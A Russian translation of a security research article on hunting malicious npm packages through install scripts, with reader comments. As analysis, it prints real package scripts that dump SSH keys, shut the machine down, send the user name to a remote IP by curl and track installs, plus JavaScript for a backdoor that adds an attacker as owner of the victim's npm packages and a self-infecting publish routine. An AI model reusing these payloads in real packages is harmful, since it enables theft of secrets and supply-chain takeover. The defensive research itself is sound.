Охота на вредоносные npm-пакеты

https://duo.com/blog/hunting-malicious-npm-packages
  • Перевод
На прошлой неделе мы рассказывали о том, как в реестре npm обнаружили несколько десятков пакетов, которые воруют данные из переменных окружения. Случилось это в начале августа и вызвало волну интереса к безопасности npm-пакетов. В комментариях к предыдущему материалу совершенно справедливо отмечено, что проблема неблагонадёжных пакетов существует со дня появления пакетных менеджеров, что, хотя сейчас всё более или менее спокойно, никто не застрахован от проблем самого разного масштаба. Например, вредоносный код, внедрённый в очередное обновление какого-нибудь популярнейшего пакета, способен вызвать настоящую катастрофу. Поиск опасных пакетов — дело непростое, к нему подходят с разных сторон. Сегодня мы хотим поделиться с вами рассказом о том, как в Duo Labs устроили охоту на вредоносные npm-пакеты.



Пара слов об опасных пакетах


Имена недавно обнаруженных опасных пакетов, которые воруют данные из переменных окружения, были рассчитаны на то, что разработчик допустит опечатку, вводя имя известного пакета при запуске команды npm install.

Опасность установки подобных пакетов заключается в том, что часто в переменных окружения хранят секретные ключи или другую важную информацию. Если администратор случайно установит такой пакет, всё ценное будет собрано и отправлено злоумышленнику. И, в этой конкретной атаке, вредоносные пакеты были опубликованы как зависимые от реальных пакетов со схожими именами, в итоге, нужный пакет будет установлен, и разработчик, скорее всего, ничего подозрительного не заметит.

Учитывая то, что в npm имеется кое-какая история борьбы с вредоносным кодом — либо со взломанными обычными пакетами, либо с изначально рассчитанными на выполнение неких нежелательных действий, мы решили проанализировать весь репозиторий npm и поохотиться на другие вредоносные пакеты.

История неприятностей npm


Недавняя шумиха вокруг вредоносных пакетов в репозитории npm — далеко не первое подобное происшествие. В 2016-м году некий разработчик отменил публикацию своих npm-пакетов в ответ на спор, связанный с именами. От них зависели многие другие пакеты, в результате отмена публикации привела к широкомасштабному нарушению работы и к опасениям, связанным с возможным взломом пакетов хакерами.

Вот материал, который был опубликован в этом году. Здесь исследователь смог получить прямой доступ к 14% всех npm-пакетов (и непрямой доступ к 54% пакетов). Он либо взломал методом грубой силы слабые пароли к учётным записям, либо использовал пароли, полученные после взлома сервисов, напрямую к npm не относящихся. Это привело к массовым сбросам паролей в npm.

Возможное негативное влияние взломанных или вредоносных пакетов усугубляется тем, как структурирован реестр npm. А именно, npm приветствует разработку маленьких пакетов, зависящих от множества других пакетов. Такой подход привёл к появлению целой сети небольших пакетов, каждый из которых зависит от многих других. В случае с вышеупомянутым исследованием возможности кражи учётных данных, автор смог получить доступ к некоторым весьма популярным пакетам, что дало ему потенциальную возможность провести гораздо более масштабную атаку на экосистему npm, нежели та, которая была бы возможна, не существуй в npm столь сильной взаимозависимости пакетов.

Например, вот график зависимостей для топ-100 npm-пакетов, подготовленный GraphCommons.


График зависимостей npm-пакетов из первой сотни

Как вредоносные npm-пакеты захватывают системы


В вышеописанных случаях атак на npm участвовали обычные разработчики, не имеющие злого умысла. Но что если нечто подобное организует злоумышленник? Как он может воспользоваться доступом к чужим пакетам в корыстных целях?

Легче всего провести атаку, задействовав возможностью npm по запуску скриптов preinstall и postinstall. Именно так были устроены недавно обнаруженные вредоносные пакеты. В этих скриптах могут быть произвольные системные команды, заданные в файле пакета package.json, предназначенные для выполнения, соответственно, до и после установки пакета. Обратите внимание: команды в скриптах могут быть любыми.

Сама по себе эта возможность полезна. На самом деле, такие скрипты часто используются как вспомогательные средства при наличии сложных конфигураций установки пакетов. Однако, они дают атакующему доступ к пакетам, взломанным или изначально вредоносным. Фактически, это позволяет взламывать системы.

Учитывая всё это, проанализируем реестр npm для того, чтобы обнаружить потенциально опасные пакеты.

Охота за вредоносными пакетами


▍Загрузка данных для анализа


Первым шагом нашего анализа было получение информации о пакетах. Реестр npm основан на CouchDB (registry.npmjs.com) Тут была конечная точка /-/all, которая возвращала информацию по всем пакетам в JSON, всё это работало до тех пор, пока эту возможность не отключили.

Мы, для наших целей, можем обратиться к копии реестра на replicate.npmjs.com. Применим ту же технику, которую используют другие библиотеки для получения копии JSON-данных для каждого пакета:

curl https://replicate.npmjs.com/registry/_design/scratch/_view/byField > npm.json

Затем воспользуемся инструментом для обработки JSON jq и вытащим из полученных данных имена пакетов, скрипты и URL для загрузки. В этом нам поможет такой вот аккуратный однострочник:

cat npm.json | jq '[.rows | to_entries[] | .value | objects | {"name": .value.name, "scripts": .value.scripts, "tarball": .value.dist.tarball}]' > npm_scripts.json

Для того, чтобы упростить анализ, мы, на скорую руку, подготовили скрипт на Python для решения следующих задач:

  • Поиск пакетов со скриптами preinstall, postinstall или install.

  • Поиск файлов, исполняемых скриптом.
  • Поиск в найденных файлах строк, которые могут указывать на подозрительную активность.

▍Находки


Пакеты, демонстрирующие возможность атаки

Разработчики уже довольно давно знают о потенциальной опасности установочных скриптов. Одной из первой наших находок стали пакеты, которые нацелены на то, чтобы продемонстрировать эту проблему, как кажется, безопасным способом. Вот сводка по таким пакетам:

{
  "name": "maybemaliciouspackage",
  "scripts": {
    "postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'"
  }
},
{
  "name": "deasyncp",
  "scripts": {
    "preinstall": "say U WOT M8; shutdown -s now"
  }
},
{
  "name": "harmlesspackage",
  "scripts": {
    "postinstall": "echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThanks for your SSH         keys :)' && curl -X GET http://104.131.21.155:8043/\\?$(whoami)"
  }
},
{
  "name": "npm-exploit",
  "scripts": {
    "install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx"
  }
}

Скрипты любопытных разработчиков

Следующим, что мы нашли, оказались скрипты, которые отслеживают место установки пакета. Npm предоставляет определённые данные по загрузкам на странице пакета, но некоторые авторы хотят большего. А это уже — нарушение приватности пользователей. Вот некоторые пакеты, использующие Google Analytics или Piwik для отслеживания установок.

{
  "name": "npm_scripts_test_metrics",
  "scripts": {
    "preinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Pre%20Install&ea=run'",
    "postinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Post%20Install&ea=run'"
  }
},
{
  "name": "subtitles-lib",
  "scripts": {
    "postinstall": "bash -c 'curl \"http://avighier.piwikpro.com/piwik.php?idsite=3&rec=1&action_name=$HOSTNAME\"'"
  }
}

Подобные вещи в некоторых пакетах не так очевидны. Скрипты для сбора данных спрятаны в установочных JavaScript-файлах вместо того, чтобы быть внедрёнными в команды оболочки в файле package.json.

Вот ещё некоторые из найденных нами подобных пакетов. Ссылки ведут к соответствующим скриптам:


Вредоносные скрипты

И, наконец, мы занялись поиском пакетов, установочные скрипты которых вредоносны по своей природе. При установке таких пакетов система пользователя подвергнется весьма нежелательному воздействию.

Дело mr_robot

При исследовании оставшихся пакетов мы наткнулись на интересный установочный скрипт в пакете shrugging-logging. Устроен он очень просто. Пакет добавляет набор ASCII-символов ¯_(ツ)_/¯ (так называемый shrug — пожимающий плечами эмотикон) к сообщениям лога. Однако, у этого пакета есть весьма неприятный скрипт postinstall, который даёт автору пакета (mr_robot) права на управление npm-пакетами, которыми владеет тот, кто запустил npm install.

Вот соответствующий фрагмент кода. Полный текст функции можно посмотреть здесь.

function currentUser(cb) {
  exec('npm whoami', function (err, stdout, stderr) {
    if (!err) cb(stdout);
  });
}

function addOwner(packageName, newOwner) {
  exec('npm owner add ' + newOwner + ' ' + packageName);
}

function getModulesOwned(user, cb) {
  var url = 'https://www.npmjs.org/~' + user;

  request(url, function (error, response, body) {
    var $ = cheerio.load(body);
    var packages = $('.collaborated-packages a').map(function (i, el) {
      return $(this).text();
    }).get();

    cb(packages);
  });
}

currentUser(function (user) {
  if (user) {
    getModulesOwned(user, function (modules) {
      modules.forEach(function (moduleName) {
        addOwner(moduleName, 'mr_robot');
      });
    });
  }
});

Сначала скрипт использует команду npm whoami для того, чтобы получить имя текущего пользователя. Затем он ищет на сайте npmjs.org пакеты, принадлежащие этому пользователю. В итоге скрипт использует команду npm owner add для того, чтобы добавить mr_robot в число владельцев всех этих пакетов.

Этот автор также опубликовал следующие пакеты, содержащие тот же бэкдор:

  • test-module-a
  • pandora-doomsday

Модификация и публикация локальных пакетов

Ещё один обнаруженный нами вредоносный скрипт содержит код, который, во многом похож на то, что было в пакетах mr_robot, однако, в рукаве у него другой туз. Вместо того, чтобы просто модифицировать список владельцев npm-пакетов, модуль sdfjghlkfjdshlkjdhsfg демонстрирует доказательство возможности инфицирования и публикации локальных пакетов.

Установочный скрипт sdfjghlkfjdshlkjdhsfg показывает этот процесс на примере модификации и публикации самого себя:

function infectModule (moduleName) {
        installModule(moduleName)
        .then(() => {
                addScript(moduleName);
                copyScript(moduleName);

                return incrementPatchVersion(moduleName);
        })
        .then(() => publishInfectedModule(moduleName))
        .catch(() => {});
}

const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";

infectModule(MODULE_NAME);

Полный исходник можно найти здесь.

Хотя перед нами лишь пакет, доказывающий возможность подобной атаки, точно такой же подход можно легко использовать для нападения на локальные пакеты, которыми владеет пользователь, выполняющий установку.

Итоги


Важно отметить, что вышеописанное возможно не только в репозитории npm. Подобное характерно для большинства, если не для всех, пакетных менеджеров. Менеджеры позволяют тем, кто пакеты пишет и публикует, задавать команды, вызываемые при установке пакетов. Пожалуй, для npm эта проблема более заметна из-за структуры зависимостей пакетов, о которой мы говорили выше.

В дополнение к этому важно отметить, что перед нами проблема, которую очень непросто решить. Статический анализ публикуемых npm-пакетов — сложная задача. Настолько сложная, что существуют целые компании, которые этим занимаются.

Кроме того, есть сообщения от разработчиков npm, которые позволяют судить о том, что предпринимаются усилия к тому, чтобы задействовать различные метрики, направленные на то, чтобы предотвратить загрузку пользователями вредоносных пакетов. Взгляните, например, на эту переписку в Twitter.

Между тем, рекомендовано продолжать проявлять осторожность при добавлении зависимостей к проектам. В дополнение к минимизации числа зависимостей, мы рекомендуем задействовать строгое версионирование и проверку целостности всех зависимостей, что может быть выполнено встроенными средствами yarn или командой npm shrinkwrap. Этот простой приём даст разработчику уверенность в том, что в продакшн попадёт именно тот код, который использовался в ходе разработки.

Уважаемые читатели! Защищаете ли вы свои системы и Node.js-проекты от вредоносных npm-пакетов? Если да — расскажите пожалуйста о том, как вы это делаете.
RUVDS.com
970,00
RUVDS – хостинг VDS/VPS серверов
Поделиться публикацией

Комментарии 10

    +1
    Кажется, единственный правильный способ — вводить в менеджер пакетов (npm в данном случае) систему контроля прав доступа, которая бы, например, не давала бы выполнить curl на произвольный хост. Что-то в духе Linux file permissions, как сделано в Android или java security manager.
    Статический анализ кода пакетов напоминает подход антивирусов, а потому столь же ненадежен и, скорее всего, столь же провален.
      +1
      Более того, я даже попробовал эту систему разрешений реализовать.
        0
        Этого далеко не достаточно. С npm никогда не работал, и не уверен что такой пример сработает, но думаю что должно: имеем пакет от которого зависит какой-нибудь http-сервер, проверяем наличие данного сервера в текущей установке и колбэками, манкипатчингом или еще какими-нибудь ухищрениями заставляем http-сервер добавить в кукисы пользователя те же переменные окружения.
        Для защиты от таких атак нужно полностью изолировать пакеты и реализовать аутентификацию/авторизацию на уровне public API пакетов (фактически использовать пакеты в качестве микросервисов).
        +1
        Ну в дополнение к вышеописанной проблеме, модуль может нести в себе вредную нагрузку, про которую не написали в ридми (например, майнинг биткойнов), и скрыть её обфускацией.
        Можно ещё вспомнить https://habrahabr.ru/post/307822/
          0
          На всякий случай обращаю внимание, что по вашей ссылке находится статья с тегом «юмор». Шутка плохо вяжется с возможностью вредной нагрузки.
          –1
          Думаю самый эффективный способ борьбы с данной проблемой — введение какой-либо сертификации на пакеты. То есть предполагаю возникновение какой-либо организации которая будет давать устанавливать оценку «надежности» пакета. Все что не обладает соответствующим сертификатом все еще можно использовать, но на свой страх и риск.
            0

            РосПакетНадзор? Не, спасибо, нам одного одобренного пакета хватило.
            Хотите помочь в решении — присоединяйтесь, пишите тесты, рассылайте пулл-реквесты в крупные проекты, добавляющие защиту. Не верите, что такое возможно — предъявите способ обойти paraquire.

              0
              Причем здесь надзоры какие-либо? Что из себя представляют собой большинство современных linux-дистрибутивов? Это как раз таки пакетный менеджер + репозиторий с рекоммендуемыми или нерекоммендуемыми пакетами. Кто выбирает какие пакеты можно безопасно устанавливать, а какие можно ставить только на свой страх и риск? Никто не запретит вам установить в убунту какой-нибудь странный пакет, но в стандартном репозитории его не появится
            0
            Безопасно ли запускать npm от root?

            github.com/npm/npm/issues/17614
              0
              По сути, эти же pre/post можно также позаражать bower/composer

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое